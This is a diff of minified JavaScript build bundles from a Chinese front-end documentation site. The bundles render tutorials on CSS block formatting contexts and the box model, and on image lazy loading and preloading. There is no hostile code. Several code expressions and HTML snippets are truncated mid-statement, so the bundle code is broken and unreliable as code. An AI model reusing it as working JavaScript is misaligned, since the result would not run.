n.createElement(n.Fragment,{},t)}},s=n.forwardRef((function(e,t){var r=e.components,o=e.mdxType,i=e.originalType,u=e.parentName,l=c(e,["components","mdxType","originalType","parentName"]),s=p(r),b=o,m=s["".concat(u,".").concat(b)]||s[b]||f[b]||i;return r?n.createElement(m,a(a({ref:t},l),{},{components:r})):n.createElement(m,a({ref:t},l))}));function b(e,t){var r=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var i=r.length,a=new Array(i);a[0]=s;var c={};for(var u in t)hasOwnProperty.call(t,u)&&(c[u]=t[u]);c.originalType=e,c.mdxType="string"==typeof e?e:o,a[1]=c;for(var p=2;p=0||(r[n]=t[n]);return r}(t,e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(t);for(l=0;l=0||Object.prototype.propertyIsEnumerable.call(t,n)&&(r[n]=t[n])}return r}var p=l.createContext({}),c=function(t){var e=l.useContext(p),n=e;return t&&(n="function"==typeof t?t(e):o(o({},e),t)),n},u=function(t){var e=c(t.components);return l.createElement(p.Provider,{value:e},t.children)},m={inlineCode:"code",wrapper:function(t){var e=t.children;return l.createElement(l.Fragment,{},e)}},s=l.forwardRef((function(t,e){var n=t.components,r=t.mdxType,a=t.originalType,p=t.parentName,u=i(t,["components","mdxType","originalType","parentName"]),s=c(n),k=r,d=s["".concat(p,".").concat(k)]||s[k]||m[k]||a;return n?l.createElement(d,o(o({ref:e},u),{},{components:n})):l.createElement(d,o({ref:e},u))}));function k(t,e){var n=arguments,r=e&&e.mdxType;if("string"==typeof t||r){var a=n.length,o=new Array(a);o[0]=s;var i={};for(var p in e)hasOwnProperty.call(e,p)&&(i[p]=e[p]);i.originalType=t,i.mdxType="string"==typeof t?t:r,o[1]=i;for(var c=2;c"," \u6839\u5143\u7d20\u3002"),(0,a.kt)("li",{parentName:"ul"},"float \u7684\u503c\u4e0d\u4e3a none\u3002"),(0,a.kt)("li",{parentName:"ul"},"position \u7684\u503c\u4e0d\u4e3a relative \u6216 static\u3002"),(0,a.kt)("li",{parentName:"ul"},"overflow \u7684\u503c\u4e0d\u4e3a visible \u6216 clip\uff08\u9664\u4e86\u6839\u5143\u7d20\uff09\u3002"),(0,a.kt)("li",{parentName:"ul"},"display \u7684\u503c\u4e3a table-cell\uff0ctable-caption\uff0c\u6216 inline-block \u4e2d\u7684\u4efb\u610f\u4e00\u4e2a\u3002"),(0,a.kt)("li",{parentName:"ul"},"display \u7684\u503c\u4e3a flow-root\uff0cflow-root\uff0c\u6216 list-item\u3002"),(0,a.kt)("li",{parentName:"ul"},"flex items\uff0c\u5373 display \u7684\u503c\u4e3a flex \u6216 inline-flex \u7684\u5143\u7d20\u7684\u76f4\u63a5\u5b50\u5143\u7d20\uff08\u8be5\u5b50\u5143\u7d20 display \u4e0d\u4e3a flex\uff0cgrid\uff0c\u6216 table\uff09\u3002"),(0,a.kt)("li",{parentName:"ul"},"grid items\uff0c\u5373 display \u7684\u503c\u4e3a grid \u6216 inline-grid \u7684\u5143\u7d20\u7684\u76f4\u63a5\u5b50\u5143\u7d20\uff08\u8be5\u5b50\u5143\u7d20 display \u4e0d\u4e3a flex\uff0cgrid\uff0c\u6216 table\uff09\u3002"),(0,a.kt)("li",{parentName:"ul"},"contain \u7684\u503c\u4e3a layout\uff0ccontent\uff0cpaint\uff0c\u6216 strict \u4e2d\u7684\u4efb\u610f\u4e00\u4e2a\u3002"),(0,a.kt)("li",{parentName:"ul"},"column-span \u8bbe\u7f6e\u4e3a all \u7684\u5143\u7d20\u3002")),(0,a.kt)("p",null,(0,a.kt)("strong",{parentName:"p"},"\u63d0\u793a"),"\uff1a",(0,a.kt)("inlineCode",{parentName:"p"},"display: flow-root"),"\uff0c",(0,a.kt)("inlineCode",{parentName:"p"},"contain: layout")," \u7b49\u662f\u65e0\u526f\u4f5c\u7528\u7684\uff0c\u53ef\u5728\u4e0d\u5f71\u54cd\u5df2\u6709\u5e03\u5c40\u7684\u60c5\u51b5\u4e0b\u89e6\u53d1 BFC\u3002"),(0,a.kt)("h2",{id:"\u77e5\u8bc6\u70b9\u6df1\u5165"},"\u77e5\u8bc6\u70b9\u6df1\u5165"),(0,a.kt)("h3",{id:"1-\u524d\u7f6e\u77e5\u8bc6\u70b9"},"1. \u524d\u7f6e\u77e5\u8bc6\u70b9"),(0,a.kt)("p",null,(0,a.kt)("strong",{parentName:"p"},"\u76d2\u6a21\u578b\uff08box model\uff09")),(0,a.kt)("p",null,(0,a.kt)("strong",{parentName:"p"},"\u76d2\u6a21\u578b"),"\u63cf\u8ff0\u4e86\u4e00\u4e2a\u7531\u5143\u7d20\u751f\u6210\u7684\u77e9\u5f62\u76d2\u5b50\uff0c",(0,a.kt)("strong",{parentName:"p"},"\u89c6\u89c9\u683c\u5f0f\u5316\u6a21\u578b"),"\u51b3\u5b9a\u8fd9\u4e9b\u76d2\u5b50\u7684\u5927\u5c0f\u3001\u4f4d\u7f6e\u4ee5\u53ca\u5c5e\u6027\uff08\u4f8b\u5982\u989c\u8272\u3001\u80cc\u666f\u3001\u8fb9\u6846\u5c3a\u5bf8\u7b49\u7b49\uff09\u3002"),(0,a.kt)("p",null,"\u76d2\u5b50\u7684\u5177\u4f53\u6784\u6210\u5982\u4e0b\u56fe\u6240\u793a\uff1a"),(0,a.kt)("p",null,(0,a.kt)("img",{parentName:"p",src:"https://www.w3.org/TR/CSS2/images/boxdim.png",alt:"Box model"})),(0,a.kt)("p",null,(0,a.kt)("strong",{parentName:"p"},"\u672f\u8bed\u89e3\u6790")),(0,a.kt)("p",null,"\u7531\u4e8e\u89c6\u89c9\u683c\u5f0f\u5316\u6a21\u578b\u63cf\u8ff0\u4e2d\uff0c\u6709\u8bb8\u591a\u76f8\u8fd1\u7684\u672f\u8bed\uff0c\u5728\u6b64\u5148\u884c\u5217\u51fa\u89e3\u91ca\u3002"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},"box\uff08\u76d2\u5b50\uff09\uff1a\u4e00\u4e2a\u62bd\u8c61\u6982\u5ff5\uff0c\u5728\u753b\u5e03\u4e0a\u5360\u636e\u4e00\u5757\u7a7a\u95f4\uff0c\u901a\u5e38\u7531\u5143\u7d20\uff08element\uff09\u751f\u6210\u3002\u4e00\u4e2a\u5143\u7d20\u53ef\u80fd\u751f\u6210\u591a\u4e2a\u76d2\u5b50\uff08\u5982\u4f2a\u5143\u7d20\u3001list-item \u5143\u7d20\uff09\u3002"),(0,a.kt)("li",{parentName:"ul"},"principal box\uff08\u4e3b\u8981\u76d2\u5b50\uff09\uff1a\u5143\u7d20\u751f\u6210\u7684\u591a\u4e2a\u76d2\u5b50\u4e2d\uff0c\u7528\u6765\u5305\u542b\u5b83\u7684\u540e\u4ee3\u76d2\u5b50\u548c\u5b83\u751f\u6210\u7684\u5185\u5bb9\u7684\u76d2\u5b50\uff0c\u4e5f\u662f\u53c2\u4e0e\u4efb\u4f55\u5b9a\u4f4d\u65b9\u6848\u7684\u76d2\u5b50\u3002"),(0,a.kt)("li",{parentName:"ul"},"block-level box\uff08\u5757\u7ea7\u76d2\u5b50\uff09\uff1a\u53c2\u4e0e BFC \u5e03\u5c40\u7684\u76d2\u5b50\uff0c\u901a\u5e38\u7531\u5757\u7ea7\u5143\u7d20\u751f\u6210\u3002"),(0,a.kt)("li",{parentName:"ul"},"block container box\uff08\u5757\u5bb9\u5668\uff09\uff1a\u5728 CSS2.2 \u4e2d\uff0c\u9664\u4e86 tabel box \u6216\u66ff\u6362\u5143\u7d20\u7684\u4e3b\u8981\u76d2\u5b50\uff0c\u4e00\u4e2a\u5757\u7ea7\u76d2\u5b50\u4e5f\u662f\u5757\u5bb9\u5668\uff0c\u4f46\u4e0d\u662f\u6240\u6709\u7684\u5757\u5bb9\u5668\u90fd\u662f\u5757\u7ea7\u76d2\u5b50\uff08\u5982\u975e\u66ff\u6362\u5185\u8054\u5757\u76d2\u5b50\uff09\u3002\u5757\u5bb9\u5668\u4e3b\u8981\u4fa7\u91cd\u4e8e\u5176\u5b50\u5143\u7d20\u7684\u5b9a\u4f4d\u3001\u5e03\u5c40\u3002"),(0,a.kt)("li",{parentName:"ul"},"block box\uff08\u5757\u76d2\u5b50\uff09\uff1a\u5982\u679c\u4e00\u4e2a\u5757\u7ea7\u76d2\u5b50\u540c\u65f6\u4e5f\u662f\u5757\u5bb9\u5668\uff0c\u5219\u53ef\u4ee5\u79f0\u4f5c\u5757\u76d2\u5b50\u3002"),(0,a.kt)("li",{parentName:"ul"},"block\uff08\u5757\uff09\uff1a\u5f53\u6ca1\u6709\u6b67\u4e49\u65f6\uff0c\u4f5c\u4e3a block box, block-level box \u6216 block container box \u7684\u7b80\u5199\u3002")),(0,a.kt)("p",null,"\uff08\u6ce8\uff1a\u76d2\u5b50\u6709\u201c\u5757\u76d2\u5b50\u201d\u548c\u201c\u5757\u7ea7\u76d2\u5b50\u201d\uff0c\u5143\u7d20\u53ea\u6709\u201c\u5757\u7ea7\u5143\u7d20\u201d\uff0c\u800c\u6ca1\u6709\u201c\u5757\u5143\u7d20\u201d\uff09"),(0,a.kt)("h3",{id:"2-\u89c6\u89c9\u683c\u5f0f\u5316\u6a21\u578bvisual-formatting-model"},"2. \u89c6\u89c9\u683c\u5f0f\u5316\u6a21\u578b\uff08visual formatting model\uff09"),(0,a.kt)("p",null,"\u89c6\u89c9\u683c\u5f0f\u5316\u6a21\u578b\u63cf\u8ff0\u4e86\u7528\u6237\u4ee3\u7406\uff08\u5982\u6d4f\u89c8\u5668\uff09\u5728\u53ef\u89c6\u5316\u5a92\u4f53\uff08\u5982\u663e\u793a\u5668\uff09\u4e0a\u5904\u7406\u6587\u6863\u6811\uff08document tree\uff09\u7684\u8fc7\u7a0b\u3002\u4e0b\u9762\u5404\u5c0f\u8282\u662f\u89c6\u89c9\u683c\u5f0f\u5316\u6a21\u578b\u4e2d\u4e0e BFC \u5f3a\u76f8\u5173\u7684\u63cf\u8ff0\uff1a"),(0,a.kt)("h4",{id:"21-\u5305\u542b\u5757containing-block"},"2.1 \u5305\u542b\u5757\uff08containing block\uff09"),(0,a.kt)("p",null,"\u5927\u90e8\u5206\u60c5\u51b5\u4e0b\uff0c\u5305\u542b\u5757\u662f\u4e00\u4e2a\u7531\u5143\u7d20\u6700\u8fd1\u7684\u7956\u5148\u5757\u5bb9\u5668\u7684\u5185\u5bb9\u533a\u57df\uff08content area\uff09\u786e\u5b9a\u7684\u77e9\u5f62\u533a\u57df\uff0c\u5305\u542b\u5757\u672c\u8eab\u4e0d\u662f\u76d2\u5b50\uff0c\u662f\u4e00\u4e2a\u77e9\u5f62\u533a\u57df\u3002\u5143\u7d20\u7684\u5927\u5c0f\uff0c\u4f4d\u7f6e\uff0c\u53ca\u504f\u79fb\u7b49\u5e03\u5c40\u4fe1\u606f\u6839\u636e\u5305\u542b\u5757\u7684\u5c3a\u5bf8\u8fdb\u884c\u8ba1\u7b97\u3002"),(0,a.kt)("h4",{id:"22-\u6b63\u5e38\u6d41normal-flow"},"2.2 \u6b63\u5e38\u6d41\uff08normal flow\uff09"),(0,a.kt)("p",null,"\u6b63\u5e38\u6d41\u662f\u6d4f\u89c8\u5668\u7684\u9ed8\u8ba4\u5e03\u5c40\u65b9\u5f0f\u3002\u5728\u6b63\u5e38\u6d41\u4e2d\u7684\u76d2\u5b50\uff0c\u5c5e\u4e8e BFC\uff0cIFC\uff0c\u6216\u5176\u4ed6\u683c\u5f0f\u5316\u4e0a\u4e0b\u6587\u4e4b\u4e00\u3002"),(0,a.kt)("h4",{id:"23-\u683c\u5f0f\u5316\u4e0a\u4e0b\u6587formatting-context"},"2.3 \u683c\u5f0f\u5316\u4e0a\u4e0b\u6587\uff08formatting context\uff09"),(0,a.kt)("p",null,(0,a.kt)("strong",{parentName:"p"},"\u683c\u5f0f\u5316\u4e0a\u4e0b\u6587"),"\u662f\u4e00\u7cfb\u5217\u76f8\u5173\u76d2\u5b50\u8fdb\u884c\u5e03\u5c40\u7684\u73af\u5883\u3002\u4e0d\u540c\u7684\u683c\u5f0f\u5316\u4e0a\u4e0b\u6587\u6709\u4e0d\u540c\u7684\u5e03\u5c40\u89c4\u5219\u3002\u76ee\u524d\u5e38\u89c1\u7684\u683c\u5f0f\u5316\u4e0a\u4e0b\u6587\u6709\u4ee5\u4e0b\u8fd9\u4e9b\uff1a"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},"\u5757\u7ea7\u683c\u5f0f\u5316\u4e0a\u4e0b\u6587\uff08BFC\uff0cblock formatting context\uff09\u3002"),(0,a.kt)("li",{parentName:"ul"},"\u5185\u8054\u683c\u5f0f\u5316\u4e0a\u4e0b\u6587\uff08IFC\uff0cinline formatting context\uff09\u3002"),(0,a.kt)("li",{parentName:"ul"},"\u5f39\u6027\u683c\u5f0f\u5316\u4e0a\u4e0b\u6587\uff08FFC\uff0cflex formatting context\uff09\uff0c\u5728 CSS3 \u4e2d\u5b9a\u4e49\u3002"),(0,a.kt)("li",{parentName:"ul"},"\u6805\u683c\u683c\u5f0f\u5316\u4e0a\u4e0b\u6587\uff08GFC\uff0cgrid formatting context\uff09\uff0c\u5728 CSS3 \u4e2d\u5b9a\u4e49\u3002")),(0,a.kt)("h4",{id:"24-\u72ec\u7acb\u683c\u5f0f\u5316\u4e0a\u4e0b\u6587independent-formatting-context"},"2.4 \u72ec\u7acb\u683c\u5f0f\u5316\u4e0a\u4e0b\u6587\uff08independent formatting context\uff09"),(0,a.kt)("p",null,"\u4e00\u4e2a\u76d2\u5b50\u8981\u4e48\u5efa\u7acb\u4e00\u4e2a\u65b0\u7684\u72ec\u7acb\u683c\u5f0f\u5316\u4e0a\u4e0b\u6587\uff0c\u8981\u4e48\u5ef6\u7eed\u5176\u5305\u542b\u5757\u7684\u683c\u5f0f\u5316\u4e0a\u4e0b\u6587\u3002\u9664\u4e86\u7279\u6b8a\u8bf4\u660e\uff0c\u5efa\u7acb\u65b0\u7684\u683c\u5f0f\u5316\u4e0a\u4e0b\u6587\u5c31\u662f\u5728\u5efa\u7acb\u4e00\u4e2a\u72ec\u7acb\u683c\u5f0f\u5316\u4e0a\u4e0b\u6587\u3002"),(0,a.kt)("p",null,"\u5f53\u4e00\u4e2a\u76d2\u5b50\u5efa\u7acb\u4e00\u4e2a\u72ec\u7acb\u683c\u5f0f\u5316\u4e0a\u4e0b\u6587\u65f6\uff0c\u5b83\u521b\u5efa\u4e86\u4e00\u4e2a\u65b0\u7684\u72ec\u7acb\u5e03\u5c40\u73af\u5883\u3002\u9664\u4e86\u901a\u8fc7\u6539\u53d8\u76d2\u5b50\u672c\u8eab\u7684\u5927\u5c0f\uff0c\u76d2\u5b50\u5185\u90e8\u7684\u540e\u4ee3\u4e0d\u4f1a\u5f71\u54cd\u683c\u5f0f\u5316\u4e0a\u4e0b\u6587\u5916\u90e8\u7684\u89c4\u5219\u548c\u5185\u5bb9\uff0c\u53cd\u4e4b\u4ea6\u7136\u3002"),(0,a.kt)("h4",{id:"25-\u5757\u7ea7\u683c\u5f0f\u5316\u4e0a\u4e0b\u6587\u89c4\u8303\u53ca\u89e3\u6790"},"2.5 \u5757\u7ea7\u683c\u5f0f\u5316\u4e0a\u4e0b\u6587\u89c4\u8303\u53ca\u89e3\u6790"),(0,a.kt)("p",null,"\u6839\u636e W3C CSS2.1 \u89c6\u89c9\u683c\u5f0f\u5316\u6a21\u578b\u4e00\u7ae0\u7684\u5b9a\u4e49\uff0cBFC \u76f8\u5173\u89c4\u8303\u63cf\u8ff0\u5982\u4e0b\uff1a"),(0,a.kt)("ol",null,(0,a.kt)("li",{parentName:"ol"},"\u6d6e\u52a8\u5143\u7d20\uff0c\u7edd\u5bf9\u5b9a\u4f4d\u5143\u7d20\uff0c\u4e0d\u662f\u5757\u7ea7\u76d2\u5b50\u7684\u5757\u7ea7\u5bb9\u5668\uff08\u5982 inline-block\uff0ctable-cells\uff0ctable-captions\uff09\u4ee5\u53ca overflow \u503c\u4e0d\u4e3a visible \u7684\u5757\u7ea7\u76d2\u5b50\uff0c\u90fd\u4f1a\u4e3a\u4ed6\u4eec\u7684\u5185\u5bb9\u521b\u5efa BFC\uff08\u6ce8\uff1a\u89e6\u53d1 BFC \u7684\u6761\u4ef6\uff09\u3002"),(0,a.kt)("li",{parentName:"ol"},"\u5728 BFC \u4e2d\uff0c\u76d2\u5b50\u4ece\u5305\u542b\u5757\u7684\u9876\u90e8\u5f00\u59cb\uff0c\u5728\u5782\u76f4\u65b9\u5411\u4e0a\u4e00\u4e2a\u63a5\u4e00\u4e2a\u7684\u6392\u5217\u3002\u76f8\u90bb\u76d2\u5b50\u4e4b\u95f4\u7684\u5782\u76f4\u95f4\u9699\u7531\u5b83\u4eec\u7684 margin \u503c\u51b3\u5b9a\u3002\u5728\u540c\u4e00\u4e2a BFC \u4e2d\uff0c\u76f8\u90bb\u5757\u7ea7\u76d2\u5b50\u7684\u5782\u76f4\u5916\u8fb9\u8ddd\u4f1a\u5408\u5e76\uff08\u6ce8\uff1a\u53c2\u4e0e BFC \u5e03\u5c40\u7684\u90fd\u662f\u5757\u7ea7\u5143\u7d20\uff09\u3002"),(0,a.kt)("li",{parentName:"ol"},"\u5728 BFC \u4e2d\uff0c\u6bcf\u4e00\u4e2a\u76d2\u5b50\u7684\u5de6\u5916\u8fb9\u7f18\uff08margin-left\uff09\u4f1a\u89e6\u78b0\u5230\u5305\u542b\u5757\u7684\u5de6\u8fb9\u7f18\u3002\u5373\u4f7f\u662f\u5b58\u5728\u6d6e\u52a8\u5143\u7d20\u4e5f\u662f\u5982\u6b64\uff0c\u9664\u975e\u8be5\u76d2\u5b50\u5efa\u7acb\u4e86\u4e00\u4e2a\u65b0\u7684 BFC\u3002")),(0,a.kt)("p",null,"\u7ed3\u5408\u89c4\u8303\u7b2c\u4e09\u70b9\u4e0e",(0,a.kt)("strong",{parentName:"p"},"\u72ec\u7acb\u683c\u5f0f\u5316\u4e0a\u4e0b\u6587"),"\u7684\u77e5\u8bc6\uff0c\u6211\u4eec\u53ef\u4ee5\u6709\u4ee5\u4e0b\u63a8\u8bba\uff1a"),(0,a.kt)("ol",null,(0,a.kt)("li",{parentName:"ol"},"BFC \u5185\u5916\u4e92\u4e0d\u5f71\u54cd\u3002",(0,a.kt)("ol",{parentName:"li"},(0,a.kt)("li",{parentName:"ol"},"BFC \u5305\u542b\u5185\u90e8\u7684\u6d6e\u52a8\uff08\u89e3\u51b3\u5185\u90e8\u6d6e\u52a8\u5143\u7d20\u5bfc\u81f4\u7684\u9ad8\u5ea6\u584c\u9677\uff09\u3002"),(0,a.kt)("li",{parentName:"ol"},"BFC \u6392\u65a5\u5916\u90e8\u7684\u6d6e\u52a8\uff08\u89e6\u53d1 BFC \u7684\u5143\u7d20\u4e0d\u4f1a\u548c\u5916\u90e8\u7684\u6d6e\u52a8\u5143\u7d20\u91cd\u53e0\uff09\u3002"),(0,a.kt)("li",{parentName:"ol"},"\u5916\u8fb9\u8ddd\u6298\u53e0\u7684\u8ba1\u7b97\u4e0d\u80fd\u8de8\u8d8a BFC \u7684\u8fb9\u754c\u3002"))),(0,a.kt)("li",{parentName:"ol"},"\u5404\u81ea\u521b\u5efa\u4e86 BFC \u7684\u5144\u5f1f\u5143\u7d20\u4e92\u4e0d\u5f71\u54cd\uff08\u6ce8\uff1a\u5728\u6c34\u5e73\u65b9\u5411\u4e0a\u591a\u4e2a\u6d6e\u52a8\u5143\u7d20\u52a0\u4e00\u4e2a\u6216\u96f6\u4e2a\u89e6\u53d1 BFC \u7684\u5143\u7d20\u53ef\u4ee5\u5f62\u6210\u591a\u5217\u5e03\u5c40\uff09\u3002")),(0,a.kt)("p",null,"\u901a\u8fc7 BFC \u53ef\u4ee5\u5b9e\u73b0\u7075\u6d3b\u5065\u58ee\u7684\u81ea\u9002\u5e94\u5e03\u5c40\uff0c\u5728\u4e00\u884c\u4e2d\u8fbe\u5230\u7c7b\u4f3c flexbox \u7684\u6548\u679c\uff0c\u793a\u4f8b\u5982\u4e0b\uff1a"),(0,a.kt)("p",null,(0,a.kt)("a",{parentName:"p",href:"https://codepen.io/suzukaze-yoru/pen/ZEKKxJm?editors=1100"},"\u4e24\u680f\u81ea\u9002\u5e94\u5e03\u5c40")),(0,a.kt)("p",null,(0,a.kt)("img",{parentName:"p",src:"https://user-images.githubusercontent.com/4338052/126038001-1828c607-212c-4427-9006-6ee61f1c3979.gif",alt:"two-col"})),(0,a.kt)("p",null,(0,a.kt)("a",{parentName:"p",href:"https://codepen.io/suzukaze-yoru/pen/poPPLWZ?editors=1100"},"\u591a\u5217\u81ea\u9002\u5e94\u5e03\u5c40")),(0,a.kt)("p",null,(0,a.kt)("img",{parentName:"p",src:"https://user-images.githubusercontent.com/4338052/126038024-1160aa58-d21d-48a0-b076-650c4ba6f00d.gif",alt:"multi-col"})),(0,a.kt)("h2",{id:"\u53c2\u8003\u8d44\u6599"},"\u53c2\u8003\u8d44\u6599"),(0,a.kt)("ol",null,(0,a.kt)("li",{parentName:"ol"},(0,a.kt)("a",{parentName:"li",href:"https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flow_Layout/Intro_to_formatting_contexts"},"\u5757\u7ea7\u683c\u5f0f\u5316\u4e0a\u4e0b\u6587")),(0,a.kt)("li",{parentName:"ol"},(0,a.kt)("a",{parentName:"li",href:"https://developer.mozilla.org/en-us/docs/web/css/containing_block"},"\u5305\u542b\u5757\uff1aMDN")),(0,a.kt)("li",{parentName:"ol"},(0,a.kt)("a",{parentName:"li",href:"https://www.w3.org/tr/css22/visudet.html#containing-block-details"},"\u5305\u542b\u5757\uff1aW3C")),(0,a.kt)("li",{parentName:"ol"},(0,a.kt)("a",{parentName:"li",href:"https://developer.mozilla.org/en-us/docs/web/css/visual_formatting_model"},"\u89c6\u89c9\u683c\u5f0f\u5316\u6a21\u578b\uff1aMDN")),(0,a.kt)("li",{parentName:"ol"},(0,a.kt)("a",{parentName:"li",href:"https://www.w3.org/tr/css22/visuren.html"},"\u89c6\u89c9\u683c\u5f0f\u5316\u6a21\u578b\uff1aW3C")),(0,a.kt)("li",{parentName:"ol"},(0,a.kt)("a",{parentName:"li",href:"https://developer.mozilla.org/en-us/docs/web/css/css_box_model/introduction_to_the_css_box_model"},"\u76d2\u6a21\u578b\uff1aMDN")),(0,a.kt)("li",{parentName:"ol"},(0,a.kt)("a",{parentName:"li",href:"https://www.w3.org/tr/css22/box.html"},"\u76d2\u6a21\u578b\uff1aW3C"))))}s.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/5825b5f0.f3cdcaad.js b/assets/js/5825b5f0.f3cdcaad.js new file mode 100644 index 0000000..3081d90 --- /dev/null +++ b/assets/js/5825b5f0.f3cdcaad.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkjjbook=self.webpackChunkjjbook||[]).push([[5131],{3905:function(e,t,n){n.d(t,{Zo:function(){return c},kt:function(){return k}});var a=n(7294);function r(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function l(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function i(e){for(var t=1;t=0||(r[n]=e[n]);return r}(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(a=0;a=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(r[n]=e[n])}return r}var o=a.createContext({}),s=function(e){var t=a.useContext(o),n=t;return e&&(n="function"==typeof e?e(t):i(i({},t),e)),n},c=function(e){var t=s(e.components);return a.createElement(o.Provider,{value:t},e.children)},m={inlineCode:"code",wrapper:function(e){var t=e.children;return a.createElement(a.Fragment,{},t)}},u=a.forwardRef((function(e,t){var n=e.components,r=e.mdxType,l=e.originalType,o=e.parentName,c=p(e,["components","mdxType","originalType","parentName"]),u=s(n),k=r,g=u["".concat(o,".").concat(k)]||u[k]||m[k]||l;return n?a.createElement(g,i(i({ref:t},c),{},{components:n})):a.createElement(g,i({ref:t},c))}));function k(e,t){var n=arguments,r=t&&t.mdxType;if("string"==typeof e||r){var l=n.length,i=new Array(l);i[0]=u;var p={};for(var o in t)hasOwnProperty.call(t,o)&&(p[o]=t[o]);p.originalType=e,p.mdxType="string"==typeof e?e:r,i[1]=p;for(var s=2;s\n')),(0,l.kt)("p",null,(0,l.kt)("strong",{parentName:"p"},"Intersection Observer")),(0,l.kt)("p",null,"Intersection Observer API \u53ef\u7528\u4e8e\u5f02\u6b65\u89c2\u5bdf\u76ee\u6807\u5143\u7d20\u4e0e\u7956\u5148\u5143\u7d20\u6216\u4e0e\u9876\u7ea7\u6587\u6863\u89c6\u53e3\u7684\u4ea4\u53c9\u70b9\u53d8\u5316\u3002"),(0,l.kt)("pre",null,(0,l.kt)("code",{parentName:"pre",className:"language-html"},'\n\n')),(0,l.kt)("pre",null,(0,l.kt)("code",{parentName:"pre",className:"language-js"},'const config = {\n /** any option */\n};\n\nconst observer = new IntersectionObserver(function (entries, self) {\n entries.forEach(({ isIntersecting, target }) => {\n if (isIntersecting) {\n if (target.dataset.src) {\n target.src = target.dataset.src;\n target.removeAttribute("data-src");\n }\n\n self.unobserve(target);\n }\n });\n}, config);\n\nconst images = document.querySelectorAll("[data-src]");\nimages.forEach((image) => {\n observer.observe(image);\n});\n')),(0,l.kt)("p",null,(0,l.kt)("strong",{parentName:"p"},"scroll")),(0,l.kt)("p",null,"\u5982\u679c Intersection Observer \u5b58\u5728\u517c\u5bb9\u6027\u95ee\u9898\uff0c\u9664\u4e86\u53ef\u4ee5\u6dfb\u52a0\u5bf9\u5e94 polyfill \u4e4b\u5916\uff0c\u4e5f\u53ef\u4ee5\u8003\u8651\u964d\u7ea7\u4e3a\u76d1\u542c scroll\u3001resize\u3001orientationchange \u4e8b\u4ef6\u7684\u65b9\u6848\u3002\u5b9e\u73b0\u601d\u8def\u548c Intersection Observer \u4e00\u81f4\u3002\u5177\u4f53\u7ec6\u8282\u4e0a\uff0c\u9700\u8981\u81ea\u884c\u8ba1\u7b97\u56fe\u7247\u8282\u70b9\u4e0e\u76ee\u6807\u89c6\u53e3\u7684\u7eb5\u5411\u6216\u6a2a\u5411\u8ddd\u79bb\uff0c\u4e14\u9700\u4f7f\u7528\u8282\u6d41\u51fd\u6570\u6765\u907f\u514d\u6027\u80fd\u95ee\u9898\u3002"),(0,l.kt)("h4",{id:"32-\u56fe\u7247\u9884\u52a0\u8f7d"},"3.2 \u56fe\u7247\u9884\u52a0\u8f7d"),(0,l.kt)("p",null,"\u56fe\u7247\u9884\u52a0\u8f7d\u673a\u5236\u662f\u4e3a\u4e86\u589e\u5f3a\u7528\u6237\u4f53\u9a8c\uff0c\u5c3d\u5feb\u5730\u52a0\u8f7d\u51fa\u56fe\u7247\uff0c\u4f7f\u5f97\u7528\u6237\u4f53\u9a8c\u66f4\u4e3a\u6d41\u7545\u3002"),(0,l.kt)("p",null,"\u5982\u679c\u9884\u52a0\u8f7d\u7684\u56fe\u7247\u662f\u786e\u5207\u4e14\u6709\u9650\u7684\uff0c\u53ef\u4ee5\u901a\u8fc7\u786c\u7f16\u7801 link \u6807\u7b7e\u6765\u5b9e\u73b0\u9884\u52a0\u8f7d\u3002\u4f46\u662f\u591a\u6570\u60c5\u51b5\u4e0b\uff0c\u9884\u52a0\u8f7d\u7684\u4f7f\u7528\u573a\u666f\u662f\u52a8\u6001\u7684\u3002"),(0,l.kt)("p",null,(0,l.kt)("strong",{parentName:"p"},"link")),(0,l.kt)("p",null,(0,l.kt)("inlineCode",{parentName:"p"},'')," \u5141\u8bb8\u5f00\u53d1\u8005\u5728 HTML \u7684 head \u6807\u7b7e\u4e2d\u58f0\u660e\u8d44\u6e90\u8bf7\u6c42\uff0c\u6307\u5b9a\u9875\u9762\u9700\u8981\u9884\u52a0\u8f7d\u7684\u8d44\u6e90\uff0c\u5e76\u4e14\u5728\u6d4f\u89c8\u5668\u7684\u4e3b\u8981\u6e32\u67d3\u673a\u5236\u542f\u52a8\u4e4b\u524d\u52a0\u8f7d\uff0c\u907f\u514d\u963b\u585e\u9875\u9762\u6e32\u67d3\u4e14\u4fdd\u8bc1\u8d44\u6e90\u5c3d\u65e9\u53ef\u7528\u3002"),(0,l.kt)("pre",null,(0,l.kt)("code",{parentName:"pre",className:"language-html"},'\n')),(0,l.kt)("p",null,(0,l.kt)("strong",{parentName:"p"},"\u52a8\u6001\u573a\u666f")),(0,l.kt)("p",null,"\u4e00\u822c\u5e38\u89c1\u65b9\u6848\u662f\u52a8\u6001\u521b\u5efa Image \u6807\u7b7e\u6216\u8005\u662f Ajax \u8bf7\u6c42\u3002\u4f7f\u7528 Ajax \u65f6\u9700\u8981\u6ce8\u610f\u53ef\u80fd\u5b58\u5728\u8de8\u57df\u95ee\u9898\u3002"),(0,l.kt)("pre",null,(0,l.kt)("code",{parentName:"pre",className:"language-js"},"// \u52a8\u6001\u521b\u5efa Image\nfunction preloadImage(url) {\n var img = new Image();\n img.src = url;\n}\n")),(0,l.kt)("h4",{id:"33-\u54cd\u5e94\u5f0f\u56fe\u7247\u52a0\u8f7d"},"3.3 